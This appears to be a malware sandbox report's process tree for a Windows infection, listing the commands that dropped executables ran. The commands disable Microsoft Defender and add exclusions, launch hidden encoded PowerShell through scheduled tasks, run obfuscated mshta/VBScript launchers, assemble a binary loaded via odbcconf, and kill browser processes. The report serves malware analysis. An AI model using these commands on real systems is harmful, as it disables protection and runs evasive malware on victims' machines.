C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"9⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True11⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True12⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"8⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&9⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:3210⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:6410⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"8⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&9⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:3210⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:6410⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ghIyTAJxi" /SC once /ST 08:47:38 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="8⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "ghIyTAJxi"8⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "ghIyTAJxi"8⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bLowiBoQzbLXENDkOt" /SC once /ST 17:00:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\CKnNSHmmuepyQIalF\svqxiDUsnpZIatd\OnXuDvH.exe\" KA /site_id 690689 /S" /V1 /F8⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\Project1.exe"C:\Users\Admin\AppData\Local\Temp\Project1.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\c_hLQrrIgjoxrkGtDh4l9gxP.exe"C:\Users\Admin\Pictures\Adobe Films\c_hLQrrIgjoxrkGtDh4l9gxP.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-42O7F.tmp\c_hLQrrIgjoxrkGtDh4l9gxP.tmp"C:\Users\Admin\AppData\Local\Temp\is-42O7F.tmp\c_hLQrrIgjoxrkGtDh4l9gxP.tmp" /SL5="$10328,28913961,745472,C:\Users\Admin\Pictures\Adobe Films\c_hLQrrIgjoxrkGtDh4l9gxP.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\4yDcKLHliNG1mTU_z4Oy2qsl.exe"C:\Users\Admin\Pictures\Adobe Films\4yDcKLHliNG1mTU_z4Oy2qsl.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\fyGMjrU1jHEaI_IoVQzYqMod.exe"C:\Users\Admin\Pictures\Adobe Films\fyGMjrU1jHEaI_IoVQzYqMod.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\3566573142.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\3566573142.exe"C:\Users\Admin\AppData\Local\Temp\3566573142.exe"8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "fyGMjrU1jHEaI_IoVQzYqMod.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\fyGMjrU1jHEaI_IoVQzYqMod.exe" & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "fyGMjrU1jHEaI_IoVQzYqMod.exe" /f8⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\xS8K5aPUzmGHGllzl0W1Tu_R.exe"C:\Users\Admin\Pictures\Adobe Films\xS8K5aPUzmGHGllzl0W1Tu_R.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-LGIL3.tmp\xS8K5aPUzmGHGllzl0W1Tu_R.tmp"C:\Users\Admin\AppData\Local\Temp\is-LGIL3.tmp\xS8K5aPUzmGHGllzl0W1Tu_R.tmp" /SL5="$40266,506127,422400,C:\Users\Admin\Pictures\Adobe Films\xS8K5aPUzmGHGllzl0W1Tu_R.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\qs90uJD0yQgvbPHolanBj3Hs.exe"C:\Users\Admin\Pictures\Adobe Films\qs90uJD0yQgvbPHolanBj3Hs.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-NE3TN.tmp\qs90uJD0yQgvbPHolanBj3Hs.tmp"C:\Users\Admin\AppData\Local\Temp\is-NE3TN.tmp\qs90uJD0yQgvbPHolanBj3Hs.tmp" /SL5="$40224,506127,422400,C:\Users\Admin\Pictures\Adobe Films\qs90uJD0yQgvbPHolanBj3Hs.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\YAUxv4G18DxAAKTCByPp8qpi.exe"C:\Users\Admin\Pictures\Adobe Films\YAUxv4G18DxAAKTCByPp8qpi.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\XX2oOGfYw3iHP\software171.exeC:\Users\Admin\AppData\Local\Temp\XX2oOGfYw3iHP\software171.exe7⤵
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" "--jYkoq4nX"8⤵
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exeC:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\EasyCalc\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\EasyCalc\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\EasyCalc\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\EasyCalc\User Data" --annotation=plat=Win64 --annotation=prod=EasyCalc --annotation=ver=0.0.13 --initial-client-data=0x1dc,0x1e0,0x1e4,0x1b0,0x1e8,0x7ffb6244dec0,0x7ffb6244ded0,0x7ffb6244dee09⤵
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exeC:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\EasyCalc\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\EasyCalc\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=EasyCalc --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff6cdaa9e70,0x7ff6cdaa9e80,0x7ff6cdaa9e9010⤵
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1576,14974613675028463735,17619071811360505140,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\EasyCalc\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7928_1158163443" --mojo-platform-channel-handle=1848 /prefetch:89⤵
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" --type=gpu-process --field-trial-handle=1576,14974613675028463735,17619071811360505140,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\EasyCalc\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7928_1158163443" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1592 /prefetch:29⤵
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1576,14974613675028463735,17619071811360505140,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\EasyCalc\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7928_1158163443" --mojo-platform-channel-handle=2164 /prefetch:89⤵
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\EasyCalc\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1576,14974613675028463735,17619071811360505140,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\EasyCalc\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7928_1158163443" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2556 /prefetch:19⤵
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\EasyCalc\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1576,14974613675028463735,17619071811360505140,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\EasyCalc\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7928_1158163443" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2548 /prefetch:19⤵
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1576,14974613675028463735,17619071811360505140,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\EasyCalc\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7928_1158163443" --mojo-platform-channel-handle=3120 /prefetch:89⤵
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" --type=gpu-process --field-trial-handle=1576,14974613675028463735,17619071811360505140,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\EasyCalc\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7928_1158163443" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3636 /prefetch:29⤵
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1576,14974613675028463735,17619071811360505140,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\EasyCalc\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7928_1158163443" --mojo-platform-channel-handle=1608 /prefetch:89⤵
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1576,14974613675028463735,17619071811360505140,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\EasyCalc\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7928_1158163443" --mojo-platform-channel-handle=3520 /prefetch:89⤵
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1576,14974613675028463735,17619071811360505140,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\EasyCalc\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7928_1158163443" --mojo-platform-channel-handle=1468 /prefetch:89⤵
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1576,14974613675028463735,17619071811360505140,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\EasyCalc\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7928_1158163443" --mojo-platform-channel-handle=2880 /prefetch:89⤵
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1576,14974613675028463735,17619071811360505140,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\EasyCalc\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7928_1158163443" --mojo-platform-channel-handle=3140 /prefetch:89⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri2136a2bc3f5ac.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri2136a2bc3f5ac.exeFri2136a2bc3f5ac.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri2136a2bc3f5ac.exeFri2136a2bc3f5ac.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri217e912a6cc7.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri217e912a6cc7.exeFri217e912a6cc7.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Fri217e912a6cc7.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri217e912a6cc7.exe" & del C:\ProgramData\*.dll & exit6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Fri217e912a6cc7.exe /f7⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 67⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri2149df73dd5.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri2149df73dd5.exeFri2149df73dd5.exe5⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri21c5ae180c5a0f85d.exe /mixtwo4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21c5ae180c5a0f85d.exeFri21c5ae180c5a0f85d.exe /mixtwo5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri21591b1e55.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21591b1e55.exeFri21591b1e55.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbSCRipt: cLOSe ( creATEOBJeCt ( "wSCriPt.ShELL"). rUN ( "Cmd /C cOPY /Y ""C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21591b1e55.exe"" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If """" == """" for %g IN ( ""C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21591b1e55.exe"" ) do taskkill -f /Im ""%~NXg"" " , 0 , true ) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21591b1e55.exe" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If "" == "" for %g IN ( "C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21591b1e55.exe" ) do taskkill -f /Im "%~NXg"7⤵
-
C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXeQ7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E8⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbSCRipt: cLOSe ( creATEOBJeCt ( "wSCriPt.ShELL"). rUN ( "Cmd /C cOPY /Y ""C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe"" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If ""-PJJdHOofvf~E"" == """" for %g IN ( ""C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe"" ) do taskkill -f /Im ""%~NXg"" " , 0 , true ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If "-PJJdHOofvf~E" == "" for %g IN ( "C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe" ) do taskkill -f /Im "%~NXg"10⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBScRIpt: close ( crEateoBJeCT( "wscRIpT.sHELl" ). RUn ( "C:\Windows\system32\cmd.exe /q /C ECho | SeT /p = ""MZ"" > 2MXG5k.pR & copy /b /y 2MXG5K.pR + A0kCLvIX.Kc + SpiKDP6.H + ApX~.n4 + G7TV3C~.QZE + P~ST7eWJ.E 9V~4.KU & starT odbcconf.exe /a { reGSVr .\9v~4.Ku } " , 0 , TrUE ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q /C ECho | SeT /p = "MZ" > 2MXG5k.pR & copy /b /y 2MXG5K.pR + A0kCLvIX.Kc + SpiKDP6.H+ ApX~.n4 + G7TV3C~.QZE + P~ST7eWJ.E 9V~4.KU & starT odbcconf.exe /a { reGSVr .\9v~4.Ku}10⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ECho "11⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SeT /p = "MZ" 1>2MXG5k.pR"11⤵
-
C:\Windows\SysWOW64\odbcconf.exeodbcconf.exe /a { reGSVr .\9v~4.Ku}11⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f /Im "Fri21591b1e55.exe"8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri212f4ab6835.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri21024fabebe6553d.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21024fabebe6553d.exeFri21024fabebe6553d.exe5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri21db8c22ec899f89f.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21db8c22ec899f89f.exeFri21db8c22ec899f89f.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri2181d2a50ee0b.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri2181d2a50ee0b.exeFri2181d2a50ee0b.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri2132e489b54e6db2f.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri213cf6c87344.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri21c06ef3252c8d.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri214ee6bacb3.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri21ec39a10c76.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri213762f7eec02.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri212f4ab6835.exeFri212f4ab6835.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri213762f7eec02.exeFri213762f7eec02.exe1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21ec39a10c76.exeFri21ec39a10c76.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21ec39a10c76.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21ec39a10c76.exe"C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21ec39a10c76.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21ec39a10c76.exe"C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21ec39a10c76.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21ec39a10c76.exe"C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21ec39a10c76.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21ec39a10c76.exe"C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21ec39a10c76.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21c5ae180c5a0f85d.exeFri21c5ae180c5a0f85d.exe /mixtwo1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 7602⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\7zS45D4F0E5\Fri21c06ef3252c8d.exeFri21c06ef3252c8d.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\19d62992-5877-4975-89cc-13d5b5df3164.exe"C:\Users\Admin\AppData\Local\19d62992-5877-4975-89cc-13d5b5df3164.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\03f866b0-e8ee-4ce2-98ed-c1da72cb75a3.exe"C:\Users\Admin\AppData\Local\03f866b0-e8ee-4ce2-98ed-c1da72cb75a3.exe"2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\7293fa69-7d89-44d2-b5c9-2d03fc4c4117.exe"C:\Users\Admin\AppData\Local\7293fa69-7d89-44d2-b5c9-2d03fc4c4117.exe"2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\fe3d30ea-0c36-4acc-ac8d-eec0edce2b96.exe"C:\Users\Admin\AppData\Local\fe3d30ea-0c36-4acc-ac8d-eec0edce2b96.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\942882.exe"C:\Users\Admin\AppData\Roaming\942882.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBscrIPt: cloSe ( cReaTEobjeCT ( "wscRIPT.ShELL" ). rUN ("C:\Windows\system32\cmd.exe /q /c cOPy /y ""C:\Users\Admin\AppData\Roaming\942882.exe"" ..\2Bb195rsXHPl~.ExE && sTArT ..\2BB195rSXHPL~.EXE /PX4zG_MrDTQaqZDUFLE4FTCdM & if """" == """" for %b iN ( ""C:\Users\Admin\AppData\Roaming\942882.exe"" ) do taskkill /IM ""%~nXb"" /F" , 0, TrUE ) )4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q /c cOPy /y "C:\Users\Admin\AppData\Roaming\942882.exe" ..\2Bb195rsXHPl~.ExE && sTArT ..\2BB195rSXHPL~.EXE /PX4zG_MrDTQaqZDUFLE4FTCdM & if "" == "" for %b iN ( "C:\Users\Admin\AppData\Roaming\942882.exe" ) do taskkill /IM "%~nXb" /F5⤵
-
